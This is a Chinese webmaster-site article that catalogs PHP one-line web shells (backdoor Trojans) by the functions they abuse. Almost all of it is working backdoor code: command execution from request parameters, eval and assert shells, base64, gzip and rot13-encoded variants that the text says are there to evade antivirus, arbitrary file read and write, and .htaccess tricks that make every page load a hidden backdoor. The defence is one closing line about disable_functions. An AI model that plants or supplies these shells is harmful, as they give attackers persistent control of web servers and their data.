17站长网

17站长网 首页 安全 脚本攻防 查看内容

PHP木马大全 一句话的PHP木马的防范

2022-9-27 08:47| 查看: 1714 |来源: 互联网

php后门木马常用的函数大致上可分为四种类型: 1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open 2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress
php后门木马常用的函数大致上可分为四种类型:

1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open

2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

4. .htaccess: SetHandler, auto_prepend_file, auto_append_file

1. 执行系统命令:

system 函数

//test.php?cmd=ls

system($_GET[cmd]);

passthru 函数

//test.php?cmd=ls

passthru($_GET[cmd]);

shell_exec 函数

//test.php?cmd=ls

echo shell_exec($_GET[cmd]);

exec 函数

//test.php?cmd=ls

$arr = array();

exec($_GET[cmd],$arr);

print_r($arr);

popen 函数

//test.php?cmd=ls

$handle = popen('$_GET[cmd], 'r');

$read = fread($handle, 2096);

echo $read;

pclose($handle);

proc_open 函数

//test.php?cmd=ls

$descriptorspec = array(

0 => array('pipe', 'r'),

1 => array('pipe', 'w'),

2 => array('pipe', 'w'),

);

$proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);

fclose($pipes[0]);

$output = array();

while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));

print_r($output);

2. 代码执行与加密:

eval 函数

//最常见的一句话木马

eval($_POST[cmd]);

base64_decode 函数

//为了免杀及隐藏而加密代码

//密文: eval($_POST['cmd']);

eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));

gzinflate 函数

//为了免杀及隐藏而加密代码

//密文: eval($_POST['cmd']);

eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));

gzuncompress 函数

//为了免杀及隐藏而加密代码

//密文: eval($_POST['cmd']);

eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));

gzdecode 函数

//为了免杀及隐藏而加密代码

//密文: eval($_POST['cmd']);

eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));

str_rot13 函数

//为了免杀及隐藏而加密代码

//密文: eval($_POST[cmd]);

eval(str_rot13('riny($_CBFG[pzq]);'));

assert 函数

//类似eval函数

assert($_POST[cmd]);

call_user_func 函数

//使用call_user_func调用assert

call_user_func('assert',$_POST[cmd]);

call_user_func 函数

//使用call_user_func调用任意函数

//test.php?a=assert&cmd=phpinfo()

call_user_func($_GET[a],$_REQUEST[cmd]);

组合代码

//组合方式调用任意函数

//test.php?a=assert&cmd=phpinfo()

$_GET[a]($_REQUEST[cmd]);

3. 文件包含与生成:

require 函数

//包含任意文件

//test.php?file=123.jpg

require($_GET[file]);

require_once 函数

//包含任意文件

//test.php?file=123.jpg

require_once($_GET[file]);

include 函数

//包含任意文件 www.jb51.net

//test.php?file=123.jpg

include($_GET[file]);

include_once 函数

//包含任意文件

//test.php?file=123.jpg

include_once($_GET[file]);

file_get_contents 函数

//读取任意文件

//test.php?f=config.inc.php

echo file_get_contents($_GET['f']);

file_put_contents 函数

//生成任意内容文件

//a=test.php&b=

file_put_contents($_GET[a],$_GET[b]);

fputs 函数

//生成任意内容文件

//a=test.php&b=

fputs(fopen($_GET[a],"w"),$_GET[b]);

4. .htaccess:

SetHandler

//可将php代码存于非php后缀文件,例: x.jpg

//将以下代码写入.htaccess中

//连接x.jpg即可启动后门

SetHandler application/x-httpd-php

auto_prepend_file

//可将php代码存于非php后缀文件,例: 123.gif

//将以下代码写入.htaccess中, 文件路径必须是绝对路径

//访问网站上任何php文件都会启动该php后门木马

//可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马

php_value auto_prepend_file c:/apache2/htdocs/123.gif

auto_append_file

//类似auto_prepend_file

//可将php代码存于非php后缀文件,例: 123.gif

//将以下代码写入.htaccess中, 文件路径必须是绝对路径

//访问网站上任何php文件都会启动该php后门木马

php_value auto_append_file c:/apache2/htdocs/123.gif

防范方法:通过禁止危险函数 php.ini中设置disable_functions
本文最后更新于 2022-9-27 08:47,某些文章具有时效性,若有错误或已失效,请在网站留言或联系站长:17tui@17tui.com
·END·
站长网微信号:w17tui,关注站长、创业、关注互联网人 - 互联网创业者营销服务中心

免责声明:本站部分文章和图片均来自用户投稿和网络收集,旨在传播知识,文章和图片版权归原作者及原出处所有,仅供学习与参考,请勿用于商业用途,如果损害了您的权利,请联系我们及时修正或删除。谢谢!

17站长网微信二维码

始终以前瞻性的眼光聚焦站长、创业、互联网等领域,为您提供最新最全的互联网资讯,帮助站长转型升级,为互联网创业者提供更加优质的创业信息和品牌营销服务,与站长一起进步!让互联网创业者不再孤独!

扫一扫,关注站长网微信

大家都在看

    热门排行

      最近更新

        返回顶部